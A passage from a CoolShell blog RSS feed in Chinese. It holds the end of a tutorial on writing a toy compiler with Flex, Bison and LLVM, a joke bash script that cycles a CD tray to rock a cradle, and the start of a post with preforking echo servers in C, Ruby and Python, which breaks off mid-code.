ExistingModuleProvider(module);\n    ExecutionEngine *ee = ExecutionEngine::create(mp, false);\n    vector&lt;genericvalue&gt; noargs;\n    GenericValue v = ee-&gt;runFunction(mainFunction, noargs);\n    std::cout &lt;&lt; &quot;Code was run.\\n&quot;;\n    return v;\n}\n\n/* Returns an LLVM type based on the identifier */\nstatic const Type *typeOf(const NIdentifier&amp; type)\n{\n    if (type.name.compare(&quot;int&quot;) == 0) {\n        return Type::Int64Ty;\n    }\n    else if (type.name.compare(&quot;double&quot;) == 0) {\n        return Type::FP128Ty;\n    }\n    return Type::VoidTy;\n}\n\n/* -- Code Generation -- */\n\nValue* NInteger::codeGen(CodeGenContext&amp; context)\n{\n    std::cout &lt;&lt; &quot;Creating integer: &quot; &lt;&lt; value &lt;&lt; endl;\n    return ConstantInt::get(Type::Int64Ty, value, true);\n}\n\nValue* NDouble::codeGen(CodeGenContext&amp; context)\n{\n    std::cout &lt;&lt; &quot;Creating double: &quot; &lt;&lt; value &lt;&lt; endl;\n    return ConstantFP::get(Type::FP128Ty, value);\n}\n\nValue* NIdentifier::codeGen(CodeGenContext&amp; context)\n{\n    std::cout &lt;&lt; &quot;Creating identifier reference: &quot; &lt;&lt; name &lt;&lt; endl;\n    if (context.locals().find(name) == context.locals().end()) {\n        std::cerr &lt;&lt; &quot;undeclared variable &quot; &lt;&lt; name &lt;&lt; endl;\n        return NULL;\n    }\n    return new LoadInst(context.locals()[name], &quot;&quot;, false, context.currentBlock());\n}\n\nValue* NMethodCall::codeGen(CodeGenContext&amp; context)\n{\n    Function *function = context.module-&gt;getFunction(id.name.c_str());\n    if (function == NULL) {\n        std::cerr &lt;&lt; &quot;no such function &quot; &lt;&lt; id.name &lt;&lt; endl;\n    }\n    std::vector&lt;value *&gt; args;\n    ExpressionList::const_iterator it;\n    for (it = arguments.begin(); it != arguments.end(); it++) {\n        args.push_back((**it).codeGen(context));\n    }\n    CallInst *call = CallInst::Create(function, args.begin(), args.end(), &quot;&quot;, context.currentBlock());\n    std::cout &lt;&lt; &quot;Creating method call: &quot; &lt;&lt; id.name &lt;&lt; endl;\n    return call;\n}\n\nValue* NBinaryOperator::codeGen(CodeGenContext&amp; context)\n{\n    std::cout &lt;&lt; &quot;Creating binary operation &quot; &lt;&lt; op &lt;&lt; endl;\n    Instruction::BinaryOps instr;\n    switch (op) {\n        case TPLUS:     instr = Instruction::Add; goto math;\n        case TMINUS:    instr = Instruction::Sub; goto math;\n        case TMUL:      instr = Instruction::Mul; goto math;\n        case TDIV:      instr = Instruction::SDiv; goto math;\n\n        /* TODO comparison */\n    }\n\n    return NULL;\nmath:\n    return BinaryOperator::Create(instr, lhs.codeGen(context),\n        rhs.codeGen(context), &quot;&quot;, context.currentBlock());\n}\n\nValue* NAssignment::codeGen(CodeGenContext&amp; context)\n{\n    std::cout &lt;&lt; &quot;Creating assignment for &quot; &lt;&lt; lhs.name &lt;&lt; endl;\n    if (context.locals().find(lhs.name) == context.locals().end()) {\n        std::cerr &lt;&lt; &quot;undeclared variable &quot; &lt;&lt; lhs.name &lt;&lt; endl;\n        return NULL;\n    }\n    return new StoreInst(rhs.codeGen(context), context.locals()[lhs.name], false, context.currentBlock());\n}\n\nValue* NBlock::codeGen(CodeGenContext&amp; context)\n{\n    StatementList::const_iterator it;\n    Value *last = NULL;\n    for (it = statements.begin(); it != statements.end(); it++) {\n        std::cout &lt;&lt; &quot;Generating code for &quot; &lt;&lt; typeid(**it).name() &lt;&lt; endl;\n        last = (**it).codeGen(context);\n    }\n    std::cout &lt;&lt; &quot;Creating block&quot; &lt;&lt; endl;\n    return last;\n}\n\nValue* NExpressionStatement::codeGen(CodeGenContext&amp; context)\n{\n    std::cout &lt;&lt; &quot;Generating code for &quot; &lt;&lt; typeid(expression).name() &lt;&lt; endl;\n    return expression.codeGen(context);\n}\n\nValue* NVariableDeclaration::codeGen(CodeGenContext&amp; context)\n{\n    std::cout &lt;&lt; &quot;Creating variable declaration &quot; &lt;&lt; type.name &lt;&lt; &quot; &quot; &lt;&lt; id.name &lt;&lt; endl;\n    AllocaInst *alloc = new AllocaInst(typeOf(type), id.name.c_str(), context.currentBlock());\n    context.locals()[id.name] = alloc;\n    if (assignmentExpr != NULL) {\n        NAssignment assn(id, *assignmentExpr);\n        assn.codeGen(context);\n    }\n    return alloc;\n}\n\nValue* NFunctionDeclaration::codeGen(CodeGenContext&amp; context)\n{\n    vector&lt;const type*&gt; argTypes;\n    VariableList::const_iterator it;\n    for (it = arguments.begin(); it != arguments.end(); it++) {\n        argTypes.push_back(typeOf((**it).type));\n    }\n    FunctionType *ftype = FunctionType::get(typeOf(type), argTypes, false);\n    Function *function = Function::Create(ftype, GlobalValue::InternalLinkage, id.name.c_str(), context.module);\n    BasicBlock *bblock = BasicBlock::Create(&quot;entry&quot;, function, 0);\n\n    context.pushBlock(bblock);\n\n    for (it = arguments.begin(); it != arguments.end(); it++) {\n        (**it).codeGen(context);\n    }\n\n    block.codeGen(context);\n    ReturnInst::Create(bblock);\n\n    context.popBlock();\n    std::cout &lt;&lt; &quot;Creating function: &quot; &lt;&lt; id.name &lt;&lt; endl;\n    return function;\n}\n</pre>\n<p>上述罗列很多的代码，然而这部份代码的含义需要你自己去探索。我在这里只会提及一下你需要注意的内容：</p>\n<ul>\n<li>我们在CodeGenContext类中使用一个语句块的栈来保存最后进入的block(因为语句都被增加到blocks中)\n<li>我们同样用个堆栈来保存每组语句块中的<a href=\"http://en.wikipedia.org/wiki/Symbol_table\">符号表</a>  </li>\n<li>我们设计的语言只会知道他当前范围内的内容.要支持“全局”上下的做法，你必须向上搜索整个堆栈中每一个语句块，知道你最后发现你匹配的符号(现在我们只是简单地搜索堆栈中最顶层的符号表)。 </li>\n<li>在我们进入一个语句块之前，我们需要将语句块压栈，离开语句块时将语句块出栈 </li>\n</ul>\n<p>剩下的内容都LLVM相关了，在这个主题上我并不是专家。但是迄今为止，我们已经有了编译和运行我们语言的所有代码。</p>\n<p><h2>7、编译和运行我们的语言</h2>\n</p>\n<p><h3>7.1、编译我们的语言</h3>\n</p>\n<p>我们已经有了代码，现在我们怎么运行它？LLVM有着非常复杂的联接link，幸运的是，如果你是自己安装的LLVM，那么你就应该有一个llvm-config二进制程序，这个程序返回你需要的所有编译和联接选项。<br />\n我们也要同时更新我们的main.cpp的内容使之可以编译和运行我们的代码，这次我们main.cpp的内容如下：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;iostream&gt;\n#include &quot;codegen.h&quot;\n#include &quot;node.h&quot;\n\nusing namespace std;\n\nextern int yyparse();\nextern NBlock* programBlock;\n\nint main(int argc, char **argv)\n{\n    yyparse();\n    std::cout &lt;&lt; programBlock &lt;&lt; endl;\n\n    CodeGenContext context;\n    context.generateCode(*programBlock);\n    context.runCode();\n\n    return 0;\n}\n</pre>\n<p>现在我们需要这样来编译这些代码<br />\n$ g++ -o parser <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">llvm-config --libs core jit native --cxxflags --ldflags</code> *.cpp<br />\n你也可以编写一个Makefile来进行编译</p>\n<pre>\nall: parser\n\nclean:\n\trm parser.cpp parser.hpp parser tokens.cpp\n\nparser.cpp: parser.y\n\tbison -d -o $@ $^\n\nparser.hpp: parser.cpp\n\ntokens.cpp: tokens.l parser.hpp\n\tlex -o $@ $^\n\nparser: parser.cpp codegen.cpp main.cpp tokens.cpp\n\tg++ -o $@ <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">llvm-config --libs core jit native --cxxflags --ldflags</code> *.cpp\n</pre>\n<p><h3>7.2、运行我们的语言</h3>\n</p>\n<p>假设上述所有工作都圆满完成，那么现在你将有一个名为parser的二进制程序。运行它，还记得我们那个典型例子吗？让我们看看我们的编译器工作的如何。</p>\n<pre>\n$ echo 'int do_math(int a) { int x = a * 5 + 3 } do_math(10)' | ./parser\n0x100a00f10\nGenerating code...\nGenerating code for 20NFunctionDeclaration\nCreating variable declaration int a\nGenerating code for 20NVariableDeclaration\nCreating variable declaration int x\nCreating assignment for x\nCreating binary operation 276\nCreating binary operation 274\nCreating integer: 3\nCreating integer: 5\nCreating identifier reference: a\nCreating block\nCreating function: do_math\nGenerating code for 20NExpressionStatement\nGenerating code for 11NMethodCall\nCreating integer: 10\nCreating method call: do_math\nCreating block\nCode is generated.\n; ModuleID = 'main'\n\ndefine internal void @main() {\nentry:\n\t%0 = call i64 @do_math(i64 10)\t\t;  [#uses=0]\n\tret void\n}\n\ndefine internal i64 @do_math(i64) {\nentry:\n\t%a = alloca i64\t\t;  [#uses=1]\n\t%x = alloca i64\t\t;  [#uses=1]\n\t%1 = add i64 5, 3\t;  [#uses=1]\n\t%2 = load i64* %a\t;  [#uses=1]\n\t%3 = mul i64 %2, %1\t;  [#uses=1]\n\tstore i64 %3, i64* %x\n\tret void\n}\nRunning code...\nCode was run.\n</pre>\n<p><h2>8、结论</h2>\n</p>\n<p>是不是非常的酷？我同意如果你只是从这篇文章中拷贝粘贴的话，你可能会对运行得到的结果感觉有点失望，但是这点结果可能也会激发你更大的兴趣。此外，这就是本文的意义，这不是本篇指导文章的结束，这只是一个开始。因为有了这篇文章的介绍，你可以在文法分析，语法分析和装配语言的时候附加上一些疯狂的特性，然后创造出一个你自己命名的语言。你现在已经可以编译语句块了，那么你现在应该已经有如何继续下去的基本想法。<br />\n本文完整的代码在Github<a href=\"http://github.com/lsegal/my_toy_compiler\">这里</a>。我一直都在避免提到这个代码，因为这个代码不是本文的重点，而仅仅是带过这部分代码。</p>\n<p>我意识到这是一篇非常长的文章，并且这篇文章中难免会有出错的地方，如果你找到了任何问题，在你觉得有空的时候，欢迎你给我发电子邮件，我将会调整我的文章。你如果向想我们共享一些信息，你也可以在你觉得有空的时候写信给我们。</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/250px-ChallengerCrew-150x150.jpg\" alt=\"Richard Feynman, 挑战者号, 软件工程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1654.html\" class=\"wp_rp_title\">Richard Feynman, 挑战者号, 软件工程</a></li><li ><a href=\"https://coolshell.cn/articles/2365.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" alt=\"两个C++的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2365.html\" class=\"wp_rp_title\">两个C++的资源</a></li><li ><a href=\"https://coolshell.cn/articles/652.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"MySQL: InnoDB 还是 MyISAM?\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/652.html\" class=\"wp_rp_title\">MySQL: InnoDB 还是 MyISAM?</a></li><li ><a href=\"https://coolshell.cn/articles/1660.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"13个不错的Javascript和CSS的菜单\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1660.html\" class=\"wp_rp_title\">13个不错的Javascript和CSS的菜单</a></li><li ><a href=\"https://coolshell.cn/articles/7448.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"扎克伯格的一封信：关于Facebook IPO\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7448.html\" class=\"wp_rp_title\">扎克伯格的一封信：关于Facebook IPO</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1547.html\">使用Flex Bison 和LLVM编写自己的编译器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1547.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>31</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>用脚本实现哄小孩睡觉</title>\n\t\t<link>https://coolshell.cn/articles/1539.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1539.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 12 Oct 2009 02:05:38 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Bash]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1539</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>当然，不并需要一个天才式的人才能做到这个事，其实这个事情很简单。让我来一点一点向你解释。下面是一些准备工作。 首先，你得找一台PC机，得配上光驱，光驱可以破一点...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1539.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1539.html\">用脚本实现哄小孩睡觉</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-1541 alignright\" title=\"baby_linux\" src=\"https://coolshell.cn/wp-content/uploads/2009/10/baby_linux.jpg\" alt=\"baby_linux\" width=\"152\" height=\"111\" />当然，不并需要一个天才式的人才能做到这个事，其实这个事情很简单。让我来一点一点向你解释。下面是一些准备工作。</p>\n<ul>\n<li>首先，你得找一台PC机，得配上光驱，光驱可以破一点。</li>\n<li>然后，你得给这台PC机上装上Linux，不需要太多的东西，最基本的就行了。</li>\n<li>然后，你得写下下面的代码。</li>\n</ul>\n<p><span id=\"more-1539\"></span></p>\n<pre data-enlighter-language=\"bash\" class=\"EnlighterJSRAW\">\nwhile [1 = 1]\n do\n\t#弹出光驱\n\teject\n\tsleep 1\n\n\t#收回光驱\n\teject -t\n\tsleep 1\n done\n</pre>\n<p>在运行代码之前，请确保你们小孩的摇篮和PC机的光驱连接在一起。当然，你也可以在脚本中播放一曲催眠曲。注意，脚本其中的sleep 1是为了配合上摇篮的节奏，这样需要你在实际过程中调试一下。</p>\n<p>这样的成本是不是有点高？居然还要达上一台电脑，呵呵。所以，我就不建议你用Windows来实现了，那样的成本可能会更高。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li><li ><a href=\"https://coolshell.cn/articles/8619.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/11/shell.01-150x150.png\" alt=\"你可能不知道的Shell\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8619.html\" class=\"wp_rp_title\">你可能不知道的Shell</a></li><li ><a href=\"https://coolshell.cn/articles/2987.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"用脚本实现哄宝宝睡觉(Demo)\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2987.html\" class=\"wp_rp_title\">用脚本实现哄宝宝睡觉(Demo)</a></li><li ><a href=\"https://coolshell.cn/articles/1379.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" alt=\"如何调试bash脚本\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1379.html\" class=\"wp_rp_title\">如何调试bash脚本</a></li><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1539.html\">用脚本实现哄小孩睡觉</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1539.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>33</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>到处都是Unix的胎记</title>\n\t\t<link>https://coolshell.cn/articles/1532.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1532.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 11 Oct 2009 10:01:06 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[fork]]></category>\n\t\t<category><![CDATA[Haskell]]></category>\n\t\t<category><![CDATA[Perl]]></category>\n\t\t<category><![CDATA[PHP]]></category>\n\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[Ruby]]></category>\n\t\t<category><![CDATA[socket]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1532</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>一说起Unix编程，不必多说，最著名的系统调用就是fork，pipe，exec，kill或是socket了（fork(2), execve(2), pipe(2...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1532.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1532.html\">到处都是Unix的胎记</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>一说起Unix编程，不必多说，最著名的系统调用就是fork，pipe，exec，kill或是socket了（<a href=\"http://www.kernel.org/doc/man-pages/online/pages/man2/fork.2.html\"><code>fork(2)</code></a>, <a href=\"http://www.kernel.org/doc/man-pages/online/pages/man2/execve.2.html\"><code>execve(2)</code></a>, <a href=\"http://www.kernel.org/doc/man-pages/online/pages/man2/pipe.2.html\"><code>pipe(2)</code></a>, <a href=\"http://www.kernel.org/doc/man-pages/online/pages/man2/socketpair.2.html\"><code>socketpair(2)</code></a>, <a href=\"http://www.kernel.org/doc/man-pages/online/pages/man2/select.2.html\"><code>select(2)</code></a>, <a href=\"http://www.kernel.org/doc/man-pages/online/pages/man2/kill.2.html\"><code>kill(2)</code></a>, <a href=\"http://www.kernel.org/doc/man-pages/online/pages/man2/sigaction.2.html\"><code>sigaction(2)</code></a>）这些系统调用都像是Unix编程的胎记或签名一样，表明着它来自于Unix。</p>\n<p>下面这篇文章，将向大家展示Unix下最经典的socket的编程例子——使用fork + socket来创建一个TCP/IP的服务程序。这个编程模式很简单，首先是创建Socket，然后把其绑定在某个IP和Port上上侦听连接，接下来的一般做法是使用一个fork创建一个client服务进程再加上一个死循环用于处理和client的交互。这个模式是Unix下最经典的Socket编程例子。</p>\n<p>下面，让我们看看用C，Ruby，Python，Perl，PHP和Haskell来实现这一例子，你会发现这些例子中的Unix的胎记。如果你想知道这些例子中的技术细节，那么，向你推荐两本经典书——《Unix高级环境编程》和《Unix网络编程》。</p>\n<p><span id=\"more-1532\"></span></p>\n<h4>C语言</h4>\n<p>我们先来看一下经典的C是怎么实现的。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">/**\n * A simple preforking echo server in C.\n *\n * Building:\n *\n * $ gcc -Wall -o echo echo.c\n *\n * Usage:\n *\n * $ ./echo\n *\n *   ~ then in another terminal ... ~\n *\n * $ echo 'Hello, world!' | nc localhost 4242\n *\n */\n\n#include &lt;unistd.h&gt; /* fork, close */\n#include &lt;stdlib.h&gt; /* exit */\n#include &lt;string.h&gt; /* strlen */\n#include &lt;stdio.h&gt; /* perror, fdopen, fgets */\n#include &lt;sys/socket.h&gt;\n#include &lt;sys/wait.h&gt; /* waitpid */\n#include &lt;netdb.h&gt; /* getaddrinfo */\n\n#define die(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)\n\n#define PORT \"4242\"\n#define NUM_CHILDREN 3\n\n#define MAXLEN 1024\n\nint readline(int fd, char *buf, int maxlen); // forward declaration\n\nint\nmain(int argc, char** argv)\n{\n    int i, n, sockfd, clientfd;\n    int yes = 1; // used in setsockopt(2)\n    struct addrinfo *ai;\n    struct sockaddr_in *client;\n    socklen_t client_t;\n    pid_t cpid; // child pid\n    char line[MAXLEN];\n    char cpid_s[32];\n    char welcome[32];\n\n    /* Create a socket and get its file descriptor -- socket(2) */\n    sockfd = socket(AF_INET, SOCK_STREAM, 0);\n    if (sockfd == -1) {\n    die(\"Couldn't create a socket\");\n    }\n\n    /* Prevents those dreaded \"Address already in use\" errors */\n    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (const void *)&amp;yes, sizeof(int)) == -1) {\n    die(\"Couldn't setsockopt\");\n    }\n\n    /* Fill the address info struct (host + port) -- getaddrinfo(3) */\n    if (getaddrinfo(NULL, PORT, NULL, &amp;ai) != 0) {\n    die(\"Couldn't get address\");\n    }\n\n    /* Assign address to this socket's fd */\n    if (bind(sockfd, ai-&gt;ai_addr, ai-&gt;ai_addrlen) != 0) {\n    die(\"Couldn't bind socket to address\");\n    }\n\n    /* Free the memory used by our address info struct */\n    freeaddrinfo(ai);\n\n    /* Mark this socket as able to accept incoming connections */\n    if (listen(sockfd, 10) == -1) {\n    die(\"Couldn't make socket listen\");\n    }\n\n    /* Fork you some child processes. */\n    for (i = 0; i &lt; NUM_CHILDREN; i++) {\n    cpid = fork();\n    if (cpid == -1) {\n        die(\"Couldn't fork\");\n    }\n\n    if (cpid == 0) { // We're in the child ...\n        for (;;) { // Run forever ...\n        /* Necessary initialization for accept(2) */\n        client_t = sizeof client;\n\n        /* Blocks! */\n        clientfd = accept(sockfd, (struct sockaddr *)&amp;client, &amp;client_t);\n        if (clientfd == -1) {\n            die(\"Couldn't accept a connection\");\n        }\n\n        /* Send a welcome message/prompt */\n        bzero(cpid_s, 32);\n        bzero(welcome, 32);\n        sprintf(cpid_s, \"%d\", getpid());\n        sprintf(welcome, \"Child %s echo&gt; \", cpid_s);\n        send(clientfd, welcome, strlen(welcome), 0);\n\n        /* Read a line from the client socket ... */\n        n = readline(clientfd, line, MAXLEN);\n        if (n == -1) {\n            die(\"Couldn't read line from connection\");\n        }\n\n        /* ... and echo it back */\n        send(clientfd, line, n, 0);\n\n        /* Clean up the client socket */\n        close(clientfd);\n        }\n    }\n    }\n\n    /* Sit back and wait for all child processes to exit */\n    while (waitpid(-1, NULL, 0) &gt; 0);\n\n    /* Close up our socket */\n    close(sockfd);\n\n    return 0;\n}\n\n/**\n * Simple utility function that reads a line from a file descriptor fd,\n * up to maxlen bytes -- ripped from Unix Network Programming, Stevens.\n */\nint\nreadline(int fd, char *buf, int maxlen)\n{\n    int n, rc;\n    char c;\n\n    for (n = 1; n &lt; maxlen; n++) {\n    if ((rc = read(fd, &amp;c, 1)) == 1) {\n        *buf++ = c;\n        if (c == '\\n')\n        break;\n    } else if (rc == 0) {\n        if (n == 1)\n        return 0; // EOF, no data read\n        else\n        break; // EOF, read some data\n    } else\n        return -1; // error\n    }\n\n    *buf = '\\0'; // null-terminate\n    return n;\n}\n</pre>\n<h4>Ruby</h4>\n<p>下面是Ruby，你可以看到其中的fork</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"ruby\">\n# simple preforking echo server in Ruby\nrequire 'socket'\n\n# Create a socket, bind it to localhost:4242, and start listening.\n# Runs once in the parent; all forked children inherit the socket's\n# file descriptor.\nacceptor = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0)\naddress = Socket.pack_sockaddr_in(4242, 'localhost')\nacceptor.bind(address)\nacceptor.listen(10)\n\n# Close the socket when we exit the parent or any child process. This\n# only closes the file descriptor in the calling process, it does not\n# take the socket out of the listening state (until the last fd is\n# closed).\n#\n# The trap is guaranteed to happen, and guaranteed to happen only\n# once, right before the process exits for any reason (unless\n# it's terminated with a SIGKILL).\ntrap('EXIT') { acceptor.close }\n\n# Fork you some child processes. In the parent, the call to fork\n# returns immediately with the pid of the child process; fork never\n# returns in the child because we exit at the end of the block.\n3.times do\n  fork do\n    # now we're in the child process; trap (Ctrl-C) interrupts and\n    # exit immediately instead of dumping stack to stderr.\n    trap('INT') { exit }\n\n    puts \"child #$$ accepting on shared socket (localhost:4242)\"\n    loop {\n      # This is where the magic happens. accept(2) blocks until a\n      # new connection is ready to be dequeued.\n      socket, addr = acceptor.accept\n      socket.write \"child #$$ echo&gt; \"\n      socket.flush\n      message = socket.gets\n      socket.write message\n      socket.close\n      puts \"child #$$ echo'd: '#{message.strip}'\"\n    }\n    exit\n  end\nend\n\n# Trap (Ctrl-C) interrupts, write a note, and exit immediately\n# in parent. This trap is not inherited by the forks because it\n# runs after forking has commenced.\ntrap('INT') { puts \"\\nbailing\" ; exit }\n\n# Sit back and wait for all child processes to exit.\nProcess.waitall\n\n</pre>\n<h4>Python</h4>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">\"\"\"\nSimple preforking echo server in Python.\n\"\"\"\n\nimport os\nimport sys\nimport socket\n\n# Create a socket, bind it to localhost:4242, and start\n# listening. Runs once in the parent; all forked children\n# inherit the socket's file descriptor.\nacceptor = socket.socket()\nacceptor.bind(('localhost', 4242))\nacceptor.listen(10)\n\n# Ryan's Ruby code here traps EXIT and closes the socket. This\n# isn't required in Python; the socket will be closed when the\n# socket object gets garbage collected.\n\n# Fork you some child processes. In the parent, the call to\n# fork returns immediately with the pid of the child process;\n# fork never returns in the child because we exit at the end\n# of the block.\nfor i in range(3):\n    pid = os.fork()\n\n    # os.fork() returns 0 in the child process and the child's\n    # process id in the parent. So if pid == 0 then we're in\n    # the child process.\n    if pid == 0:\n        # now we're in the child process; trap (Ctrl-C)\n        # interrupts by catching KeyboardInterrupt) and exit\n        # immediately instead of dumping stack to stderr.\n        childpid = os.getpid()\n        print \"Child %s listening on localhost:4242\" % childpid\n        try:\n            while 1:\n                # This is where the magic happens. accept(2)\n                # blocks until a new connection is ready to be\n                # dequeued.\n                conn, addr = acceptor.accept()\n\n                # For easier use, turn the socket connection\n                # into a file-like object.\n                flo = 